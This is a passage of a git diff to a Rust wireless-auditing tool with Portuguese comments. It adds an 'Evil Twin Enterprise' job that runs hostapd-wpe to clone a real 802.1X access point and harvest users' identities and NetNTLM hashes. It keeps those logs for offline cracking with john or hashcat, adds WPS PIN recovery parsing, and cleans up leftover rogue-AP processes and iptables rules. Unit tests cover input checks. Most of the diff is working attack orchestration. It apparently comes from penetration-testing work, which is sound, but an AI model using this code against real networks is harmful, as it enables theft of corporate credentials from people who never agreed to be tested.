opcionais nessa função). + let state_path = dir.join(format!("state-{ap_iface}.json")); + let _ = fs::write( + &state_path, + serde_json::json!({ + "ap_iface": ap_iface, + "capture_iface": name, + "hostapd_conf": hostapd_conf_path.to_string_lossy(), + }) + .to_string(), + ); + + let _ = Command::new("nmcli") + .args(["device", "set", ap_iface, "managed", "no"]) + .status(); + let _ = Command::new("nmcli") + .args(["device", "set", name, "managed", "no"]) + .status(); + + // Mesmo diagnóstico do bug-093 pro hostapd puro: grava a saída pra + // conseguir explicar um crash imediato em vez de deixar um + // "" mudo (placa sem o canal/banda de verdade, por + // exemplo). Sem DHCP/iptables aqui — a credencial EAP é enviada + // como parte do 802.1X, antes de qualquer IP ser atribuído. + let hostapd_log_path = dir.join(format!("hostapd-wpe-{ap_iface}.log")); + let hostapd_log_out = fs::File::create(&hostapd_log_path).map_err(SabiaError::Io)?; + let hostapd_log_err = hostapd_log_out.try_clone().map_err(SabiaError::Io)?; + let mut hostapd_cmd = Command::new("hostapd-wpe"); + hostapd_cmd + .arg(&hostapd_conf_path) + .stdout(hostapd_log_out) + .stderr(hostapd_log_err); + let mut hostapd_child = hostapd_cmd.spawn().map_err(|e| { + SabiaError::InvalidInput(format!("não foi possível executar hostapd-wpe: {e}")) + })?; + std::thread::sleep(std::time::Duration::from_millis(500)); + if let Ok(Some(status)) = hostapd_child.try_wait() { + let _ = Command::new("nmcli") + .args(["device", "set", ap_iface, "managed", "yes"]) + .status(); + let _ = Command::new("nmcli") + .args(["device", "set", name, "managed", "yes"]) + .status(); + let _ = fs::remove_file(&state_path); + let log = fs::read_to_string(&hostapd_log_path).unwrap_or_default(); + return Err(SabiaError::InvalidInput(format!( + "hostapd-wpe saiu sozinho ({status}) logo ao subir em {ap_iface} — a placa pode não suportar de verdade o canal/banda do AP real. Saída: {}", + log.trim() + ))); + } + let hostapd_pid = hostapd_child.id(); + + let id = format!( + "enterprisetwin-{}", + self.enterprise_twin_seq.fetch_add(1, Ordering::SeqCst) + 1 + ); + let job = Arc::new(Mutex::new(EnterpriseTwinJobInfo { + id: id.clone(), + iface: name.to_string(), + ap_iface: ap_iface.to_string(), + ssid, + bssid: bssid.to_string(), + status: "running".into(), + captured: 0, + last_identity: None, + log_path: log_path.to_string_lossy().into_owned(), + error: None, + started_unix: unix_now(), + finished_unix: None, + hostapd_pid: Some(hostapd_pid), + })); + self.enterprise_twin_jobs + .lock() + .unwrap() + .insert(id.clone(), job); + + self.log( + "eviltwin_enterprise_start", + name, + serde_json::json!({ "job": id, "bssid": bssid, "ap_iface": ap_iface }), + ); + Ok(id) + } + + #[cfg(not(target_os = "linux"))] + pub fn start_evil_twin_enterprise( + &self, + _name: &str, + _ap_iface: &str, + _bssid: &str, + ) -> Result { + Err(SabiaError::UnsupportedPlatform) + } + + /// Relê o log do hostapd-wpe (se o job ainda estiver rodando) e devolve + /// o estado atual — sem thread de fundo: o polling da UI já chama isso + /// a cada ~1.5s, igual aos outros jobs. + pub fn enterprise_twin_job(&self, id: &str) -> Option { + let job = self.enterprise_twin_jobs.lock().unwrap().get(id).cloned()?; + { + let mut guard = job.lock().unwrap(); + if guard.status == "running" { + if let Ok(log) = std::fs::read_to_string(&guard.log_path) { + let creds = crate::eviltwin_enterprise::captured_identities(&log); + guard.captured = creds.len() as u32; + guard.last_identity = creds + .last() + .map(|c| c.netntlm.clone().unwrap_or_else(|| c.username.clone())); + } + } + } + let info = job.lock().unwrap().clone(); + Some(info) + } + + pub fn enterprise_twin_jobs(&self) -> Vec { + let ids: Vec = self + .enterprise_twin_jobs + .lock() + .unwrap() + .keys() + .cloned() + .collect(); + let mut out: Vec<_> = ids + .into_iter() + .filter_map(|id| self.enterprise_twin_job(&id)) + .collect(); + out.sort_by_key(|a| std::cmp::Reverse(a.started_unix)); + out + } + + /// Mata o hostapd-wpe e devolve as duas interfaces pro NetworkManager — + /// síncrono (tem `&self`, sem thread solta pra coordenar), ao contrário + /// do Evil Twin de PSK que precisa de uma thread de portal rodando em + /// paralelo. O log de credenciais fica no disco (não é apagado) pra + /// quebra offline com john/hashcat. + #[cfg(target_os = "linux")] + pub fn stop_evil_twin_enterprise(&self, id: &str) -> Result<()> { + let job = self + .enterprise_twin_jobs + .lock() + .unwrap() + .get(id) + .cloned() + .ok_or_else(|| { + SabiaError::InvalidInput("job de Evil Twin Enterprise não encontrado".into()) + })?; + let mut guard = job.lock().unwrap(); + if let Some(pid) = guard.hostapd_pid { + unsafe { + libc::kill(pid as i32, libc::SIGTERM); + } + } + let _ = std::process::Command::new("nmcli") + .args(["device", "set", &guard.ap_iface, "managed", "yes"]) + .status(); + let _ = std::process::Command::new("nmcli") + .args(["device", "set", &guard.iface, "managed", "yes"]) + .status(); + let dir = + std::env::temp_dir().join(format!("sabia-eviltwin-{}", unsafe { libc::geteuid() })); + let _ = std::fs::remove_file(dir.join(format!("state-{}.json", guard.ap_iface))); + guard.status = "stopped".into(); + guard.finished_unix = Some(unix_now()); + let (capture_iface, ap_iface, bssid, captured) = ( + guard.iface.clone(), + guard.ap_iface.clone(), + guard.bssid.clone(), + guard.captured, + ); + drop(guard); + self.log( + "eviltwin_enterprise_stop", + &capture_iface, + serde_json::json!({ "bssid": bssid, "ap_iface": ap_iface, "captured": captured }), + ); + Ok(()) + } + + #[cfg(not(target_os = "linux"))] + pub fn stop_evil_twin_enterprise(&self, _id: &str) -> Result<()> { + Err(SabiaError::UnsupportedPlatform) + } + pub fn audit_verify(&self) -> Result> { if !self.audit_path.exists() { return Ok(None); @@ -763,6 +2972,23 @@ impl Engine { } } +#[cfg(target_os = "linux")] +fn record_wps_line(job: &Arc>, line: &str) { + let (pin, password) = crate::wps::parse_line(line); + if let Ok(mut j) = job.lock() { + if j.output.len() >= 200 { + j.output.remove(0); + } + j.output.push(line.to_string()); + if pin.is_some() { + j.pin = pin; + } + if password.is_some() { + j.password = password; + } + } +} + fn append_audit( path: &Path, lock: &Arc>, @@ -778,6 +3004,126 @@ fn append_audit( let _ = log.record(action, target, &text); } +/// Desfaz um Evil Twin que não terminou direito numa execução anterior +/// (processo morto por Ctrl+C sem handler, `kill -9`, queda de energia): +/// mata hostapd/dnsmasq órfãos, remove as regras de iptables e devolve as +/// duas interfaces (clone + captura) pro NetworkManager. Sem isso elas +/// ficam presas em `managed no` e o painel de Wi-Fi do sistema some por +/// completo (nenhum dispositivo gerenciado pra mostrar) até o usuário +/// descobrir e rodar `nmcli device set managed yes` na mão. +/// Roda uma vez, best-effort, toda vez que um `Engine` é criado. +#[cfg(target_os = "linux")] +fn self_heal_eviltwin_leftovers() { + use std::process::Command; + + let Ok(uid) = std::env::var("SUDO_UID").or_else(|_| std::env::var("UID")) else { + return self_heal_eviltwin_leftovers_for_uid(unsafe { libc::geteuid() }); + }; + let Ok(uid) = uid.parse::() else { + return self_heal_eviltwin_leftovers_for_uid(unsafe { libc::geteuid() }); + }; + self_heal_eviltwin_leftovers_for_uid(uid); + // Também cobre o euid atual (sudo normalmente roda como root/0, que é + // o euid real do processo mesmo com SUDO_UID setado). + self_heal_eviltwin_leftovers_for_uid(unsafe { libc::geteuid() }); + + fn self_heal_eviltwin_leftovers_for_uid(uid: u32) { + let dir = std::env::temp_dir().join(format!("sabia-eviltwin-{uid}")); + let Ok(entries) = std::fs::read_dir(&dir) else { + return; + }; + for entry in entries.flatten() { + let path = entry.path(); + let is_state_file = path + .file_name() + .and_then(|n| n.to_str()) + .is_some_and(|n| n.starts_with("state-") && n.ends_with(".json")); + if !is_state_file { + continue; + } + let Ok(text) = std::fs::read_to_string(&path) else { + continue; + }; + let Ok(state) = serde_json::from_str::(&text) else { + continue; + }; + let ap_iface = state.get("ap_iface").and_then(|v| v.as_str()); + let capture_iface = state.get("capture_iface").and_then(|v| v.as_str()); + let portal_port = state.get("portal_port").and_then(|v| v.as_u64()); + let hostapd_conf = state.get("hostapd_conf").and_then(|v| v.as_str()); + let dnsmasq_conf = state.get("dnsmasq_conf").and_then(|v| v.as_str()); + + if let Some(conf) = hostapd_conf { + let _ = Command::new("pkill").args(["-f", conf]).status(); + } + if let Some(conf) = dnsmasq_conf { + let _ = Command::new("pkill").args(["-f", conf]).status(); + } + if let (Some(ap_iface), Some(portal_port)) = (ap_iface, portal_port) { + for rule in crate::eviltwin::iptables_cleanup_rules(ap_iface, portal_port as u16) { + let _ = Command::new("iptables").args(&rule).status(); + } + } + for iface in [ap_iface, capture_iface].into_iter().flatten() { + let _ = Command::new("nmcli") + .args(["device", "set", iface, "managed", "yes"]) + .status(); + } + if let Some(conf) = hostapd_conf { + let _ = std::fs::remove_file(conf); + } + if let Some(conf) = dnsmasq_conf { + let _ = std::fs::remove_file(conf); + } + let _ = std::fs::remove_file(&path); + } + } +} + +#[cfg(target_os = "linux")] +fn probe_station_mac() -> [u8; 6] { + let nanos = SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|d| d.subsec_nanos()) + .unwrap_or(0); + let pid = std::process::id(); + [ + 0x02, + (nanos >> 24) as u8, + (nanos >> 16) as u8, + (nanos >> 8) as u8, + nanos as u8, + (pid ^ (nanos >> 7)) as u8, + ] +} + +#[cfg(target_os = "linux")] +fn akms_for(ap: &AccessPoint) -> Vec { + let mut out = Vec::new(); + for akm in &ap.akm { + match akm.as_str() { + "PSK" => out.push(2), + "802.1X" => out.push(1), + "SAE" => out.push(8), + "OWE" => out.push(18), + _ => {} + } + } + if out.is_empty() { + match ap.security.as_deref() { + Some("WPA3") | Some("WPA3-EAP") => out.push(8), + Some("WPA2/WPA3") => { + out.push(2); + out.push(8); + } + Some("OWE") => out.push(18), + Some("WPA2-EAP") => out.push(1), + _ => out.push(2), + } + } + out +} + #[cfg(target_os = "linux")] fn parse_mac(text: &str) -> Result<[u8; 6]> { crate::dot11::parse_mac(text) @@ -818,6 +3164,7 @@ mod tests { table: table.clone(), running: Arc::new(AtomicBool::new(false)), channel: Arc::new(Mutex::new(Some(6))), + locked_channel: Arc::new(Mutex::new(None)), channels: vec![6], started_unix: 1, pcap_out: None, @@ -828,6 +3175,213 @@ mod tests { table } + #[test] + fn scan_snapshot_warns_when_running_long_with_zero_frames() { + let dir = TempDir::new().unwrap(); + let engine = Engine::with_audit_path(dir.path().join("audit.log")); + engine.sessions.lock().unwrap().insert( + "wlan-test".to_string(), + Session { + table: Arc::new(Mutex::new(ScanTable::new())), + running: Arc::new(AtomicBool::new(true)), + channel: Arc::new(Mutex::new(Some(6))), + locked_channel: Arc::new(Mutex::new(None)), + channels: vec![6], + started_unix: 1, + pcap_out: None, + error: Arc::new(Mutex::new(None)), + handle: None, + }, + ); + let snap = engine.scan_snapshot("wlan-test").unwrap(); + assert!(snap.warning.is_some()); + assert!(snap.warning.unwrap().contains("Nenhum quadro")); + } + + #[test] + fn scan_snapshot_does_not_warn_right_after_starting() { + let dir = TempDir::new().unwrap(); + let engine = Engine::with_audit_path(dir.path().join("audit.log")); + engine.sessions.lock().unwrap().insert( + "wlan-test".to_string(), + Session { + table: Arc::new(Mutex::new(ScanTable::new())), + running: Arc::new(AtomicBool::new(true)), + channel: Arc::new(Mutex::new(Some(6))), + locked_channel: Arc::new(Mutex::new(None)), + channels: vec![6], + started_unix: unix_now(), + pcap_out: None, + error: Arc::new(Mutex::new(None)), + handle: None, + }, + ); + let snap = engine.scan_snapshot("wlan-test").unwrap(); + assert!(snap.warning.is_none()); + } + + #[test] + fn force_handshake_picks_an_associated_client() { + let dir = TempDir::new().unwrap(); + let engine = Engine::with_audit_path(dir.path().join("audit.log")); + seed_session(&engine, "wlan-test"); + + assert_eq!( + engine.first_associated_station("wlan-test", "00:11:22:33:44:55"), + Some("66:77:88:99:aa:bb".into()) + ); + assert_eq!( + engine.first_associated_station("wlan-test", "00:11:22:33:44:66"), + None + ); + } + + #[test] + fn evil_twin_rejects_same_interface_for_clone_and_capture() { + let dir = TempDir::new().unwrap(); + let engine = Engine::with_audit_path(dir.path().join("audit.log")); + seed_session(&engine, "wlan-test"); + let err = engine + .start_evil_twin("wlan-test", "wlan-test", "00:11:22:33:44:55", 8080, false) + .unwrap_err(); + assert!(err.to_string().contains("diferente")); + } + + #[test] + fn evil_twin_rejects_bssid_never_seen_in_this_session() { + let dir = TempDir::new().unwrap(); + let engine = Engine::with_audit_path(dir.path().join("audit.log")); + seed_session(&engine, "wlan-test"); + let err = engine + .start_evil_twin("wlan-test", "wlan1", "ff:ff:ff:ff:ff:ff", 8080, false) + .unwrap_err(); + assert!(err.to_string().contains("não apareceu")); + } + + #[test] + fn evil_twin_requires_a_crackable_handshake_for_that_bssid() { + let dir = TempDir::new().unwrap(); + let engine = Engine::with_audit_path(dir.path().join("audit.log")); + // Só o beacon, sem handshake nenhum — a sessão sabe do AP mas não + // tem como conferir senha nenhuma no portal ainda. + let mut table = ScanTable::new(); + let beacon = radiotap_wrap(&beacon_frame(ap(), "RedeWPA", 6, &[2]), 2437, -40); + table.ingest(&beacon); + engine.sessions.lock().unwrap().insert( + "wlan-test".to_string(), + Session { + table: Arc::new(Mutex::new(table)), + running: Arc::new(AtomicBool::new(false)), + channel: Arc::new(Mutex::new(Some(6))), + locked_channel: Arc::new(Mutex::new(None)), + channels: vec![6], + started_unix: 1, + pcap_out: None, + error: Arc::new(Mutex::new(None)), + handle: None, + }, + ); + let err = engine + .start_evil_twin("wlan-test", "wlan1", "00:11:22:33:44:55", 8080, false) + .unwrap_err(); + assert!(err.to_string().contains("handshake quebrável")); + } + + #[test] + fn evil_twin_fails_clearly_when_hostapd_is_missing() { + // Neste ambiente de CI/sandbox hostapd não está instalado de + // propósito — exercita o caminho de erro de verdade, não um mock. + if crate::wps::find_in_path("hostapd").is_some() { + eprintln!("hostapd instalado nesta máquina — pulando (o teste é pro caso sem ele)"); + return; + } + let dir = TempDir::new().unwrap(); + let engine = Engine::with_audit_path(dir.path().join("audit.log")); + seed_session(&engine, "wlan-test"); + let err = engine + .start_evil_twin("wlan-test", "wlan1", "00:11:22:33:44:55", 8080, false) + .unwrap_err(); + assert!(err.to_string().contains("hostapd")); + assert_eq!( + engine.eviltwin_jobs().len(), + 0, + "não deve criar job sem hostapd" + ); + } + + #[test] + fn evil_twin_enterprise_rejects_same_interface_for_clone_and_capture() { + let dir = TempDir::new().unwrap(); + let engine = Engine::with_audit_path(dir.path().join("audit.log")); + seed_session(&engine, "wlan-test"); + let err = engine + .start_evil_twin_enterprise("wlan-test", "wlan-test", "00:11:22:33:44:55") + .unwrap_err(); + assert!(err.to_string().contains("diferente")); + } + + #[test] + fn evil_twin_enterprise_rejects_a_psk_network() { + // seed_session() cria um beacon com AKM 2 (PSK) — não é Enterprise. + let dir = TempDir::new().unwrap(); + let engine = Engine::with_audit_path(dir.path().join("audit.log")); + seed_session(&engine, "wlan-test"); + let err = engine + .start_evil_twin_enterprise("wlan-test", "wlan1", "00:11:22:33:44:55") + .unwrap_err(); + assert!(err.to_string().contains("Enterprise")); + } + + #[test] + fn evil_twin_enterprise_rejects_bssid_never_seen_in_this_session() { + let dir = TempDir::new().unwrap(); + let engine = Engine::with_audit_path(dir.path().join("audit.log")); + seed_session(&engine, "wlan-test"); + let err = engine + .start_evil_twin_enterprise("wlan-test", "wlan1", "ff:ff:ff:ff:ff:ff") + .unwrap_err(); + assert!(err.to_string().contains("não apareceu")); + } + + #[test] + fn evil_twin_enterprise_accepts_an_802_1x_network_up_to_the_hostapd_wpe_check() { + // AKM 1 = 802.1X (Enterprise) — passa a validação de segurança e só + // falha mais na frente, no binário externo que não existe neste + // ambiente de CI/sandbox de propósito. + if crate::wps::find_in_path("hostapd-wpe").is_some() { + eprintln!("hostapd-wpe instalado nesta máquina — pulando (o teste é pro caso sem ele)"); + return; + } + let dir = TempDir::new().unwrap(); + let engine = Engine::with_audit_path(dir.path().join("audit.log")); + let mut table = ScanTable::new(); + let beacon = radiotap_wrap(&beacon_frame(ap(), "RedeCorp", 6, &[1]), 2437, -40); + table.ingest(&beacon); + engine.sessions.lock().unwrap().insert( + "wlan-test".to_string(), + Session { + table: Arc::new(Mutex::new(table)), + running: Arc::new(AtomicBool::new(false)), + channel: Arc::new(Mutex::new(Some(6))), + locked_channel: Arc::new(Mutex::new(None)), + channels: vec![6], + started_unix: 1, + pcap_out: None, + error: Arc::new(Mutex::new(None)), + handle: None, + }, + ); + let err = engine + .start_evil_twin_enterprise("wlan-test", "wlan1", "00:11:22:33:44:55") + .unwrap_err(); + assert!(err.to_string().contains("hostapd-wpe")); + assert_eq!( + engine.enterprise_twin_jobs().len(), + 0, + "não deve criar job sem hostapd-wpe" + ); + } + #[test] fn analyzes_pcap_and_snapshot() { let dir = TempDir::new().unwrap(); @@ -885,6 +3439,7 @@ mod tests { Some("00:11:22:33:44:55"), Some("66:77:88:99:aa:bb"), &wordlist, + false, ) .unwrap(); @@ -913,7 +3468,7 @@ mod tests { let engine = Engine::with_audit_path(dir.path().join("audit.log")); assert!(engine.scan_snapshot("nope").is_err()); assert!(engine - .start_crack("nope", None, None, dir.path().join("nada.txt")) + .start_crack("nope", None, None, dir.path().join("nada.txt"), false) .is_err()); assert!(engine.crack_job("nope").is_none()); assert!(engine.audit_entries(Some(10)).unwrap().is_empty()); diff --git a/crates/sabia-core/src/lib.rs b/crates/sabia-core/src/lib.rs index c5cbc62..37cd194 100644 --- a/crates/sabia-core/src/lib.rs +++ b/crates/sabia-core/src/lib.rs @@ -3,22 +3,31 @@ //! gráfica são só consumidoras disto — a parte complexa (radiotap, 802.11, //! EAPOL, captura e injeção) fica inteira aqui dentro. +pub mod analysis; pub mod audit; +pub mod ccmp; pub mod crack; pub mod doctor; pub mod dot11; pub mod eapol; pub mod engine; pub mod error; +pub mod eviltwin; +pub mod eviltwin_enterprise; pub mod handshake; +pub mod hashcat; pub mod iface; pub mod inject; pub mod netlink; +pub mod oui; pub mod pcapreader; pub mod pcapwriter; pub mod radiotap; +pub mod report; +pub mod rules; pub mod scan; pub mod update; +pub mod wps; #[cfg(target_os = "linux")] pub mod capture;